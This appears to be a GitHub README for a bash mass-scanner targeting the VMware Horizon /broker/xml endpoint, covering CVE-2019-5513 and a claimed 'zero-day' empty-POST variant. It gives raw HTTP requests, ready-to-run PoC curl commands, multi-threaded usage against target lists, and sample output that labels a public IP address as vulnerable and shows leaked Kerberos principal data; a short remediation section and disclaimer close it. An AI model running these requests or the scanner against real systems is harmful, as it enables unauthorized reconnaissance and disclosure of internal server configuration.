<?xml version="1.0" encoding="utf-8"?>
<broker>
    <configuration>
        <broker-service-principal>
            <type>kerberos</type>
            <name>[email protected]</name>
        </broker-service-principal>
        <domain>corporate-domain.example.com</domain>
    </configuration>
</broker>

⚡ Features
- Blazing Fast — Multi-threaded architecture (default 50 concurrent threads)

- Dual Protocol Testing — Checks both HTTPS (port 443) and HTTP (port 80) simultaneously

- Two Attack Vectors — Tests empty POST body (zero-day) + crafted XML (CVE-2019-5513)

- Low Timeouts — 5 second max per request, 3 second connection timeout

- Clear Output — Color-coded results with full XML response for vulnerable hosts

- Results Export — Save all findings to a file with -o option

- No Dependencies — Uses only curl (standard on most systems)

🚀 Installation
bash
# Clone the repository
git clone https://github.com/sudosu01/CVE-2019-5513-scanner.git

cd vmware-horizon-scanner

# Make the script executable
chmod +x broker.sh
📖 Usage
Basic Scan
bash
./broker.sh -d targets.txt
Scan with Custom Threads (Faster)
bash
./broker.sh -d targets.txt -t 100
Scan and Save Results
bash
./broker.sh -d targets.txt -t 100 -o results.txt
Command Line Options
Option	Description
-d <file>	Input file containing list of IP addresses/hostnames (one per line)
-t <num>	Number of threads (default: 50)
-o <file>	Output file to save results
-h	Show help message
Input File Format (targets.txt)
text
# Comments start with #
185.171.101.236
192.168.1.100
10.0.0.50
example-vmware.com
📊 Example Output
text
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   VMware Horizon /broker/xml Vulnerability Scanner
   Multi-Threaded Mode - 50 threads
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] Testing: Empty POST (Zero-Day) + Crafted XML (CVE-2019-5513)
[*] Protocols: HTTPS + HTTP (both tested simultaneously)

[*] Scanning 3 hosts...

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 185.171.101.236 | VULNERABLE | HTTPS | EMPTY_POST
Response:
<?xml version="1.0" encoding="utf-8"?>
<broker>
    <configuration>
        <broker-service-principal>
            <type>kerberos</type>
            <name>TEST-SERVER$@DOMAIN</name>
        </broker-service-principal>
    </configuration>
</broker>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

[-] 192.168.1.100 | NOT VULNERABLE

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 10.0.0.50 | VULNERABLE | HTTP | CRAFTED_XML
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] SCAN COMPLETE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
    Total hosts: 3
    Vulnerable: 2
    Not vulnerable: 1
    Time taken: 4 seconds
🔬 Testing with Burp Suite
For manual testing, here are the raw requests:

Test 1: Empty POST Body (Zero-Day)
http
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 0
Test 2: Crafted XML (CVE-2019-5513)
http
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 115

<?xml version='1.0' encoding='UTF-8'?><broker version='10.0'><get-configuration></get-configuration></broker>
📝 PoC curl Commands
Empty POST Body
bash
curl -k -X POST "https://target/broker/xml" \
  -H "Content-Type: text/xml" \
  -H "User-Agent: VMware-Horizon-Client" \
  -d ''
Crafted XML
bash
curl -k -X POST "https://target/broker/xml" \
  -H "Content-Type: text/xml" \
  -H "User-Agent: VMware-Horizon-Client" \
  --data-binary '<?xml version="1.0" encoding="UTF-8"?><broker version="10.0"><get-configuration></get-configuration></broker>'
🛡️ Remediation
Upgrade VMware Horizon Connection Server to a patched version:

Version	Fixed Release
7.x	7.8 or later
7.5.x	7.5.2 or later
6.x	6.2.8 or later
Additional Mitigations:

Implement network access controls to restrict access to /broker/xml endpoint

Use WAF rules to block unauthenticated requests to this endpoint

Monitor for suspicious POST requests to /broker/xml

🙏 Credits
This tool is based on research by the following security researchers:

Original CVE-2019-5513 Discovery — Atredis Partners

Cory Mathews of Critical Start (independent discovery)

Zero-Day Discovery in This Tool
The empty POST body attack vector was identified during additional research. The original CVE required a crafted XML payload; this tool also tests the empty body method, which requires no payload construction and is even simpler to execute.

⚠️ Disclaimer
This tool is for educational purposes and authorized security testing only. Unauthorized scanning of systems you do not own or have explicit permission to test may violate laws and regulations. The authors assume no liability for misuse.

📄 License
MIT License

⭐ Support
If you find this tool useful, please give it a star on GitHub!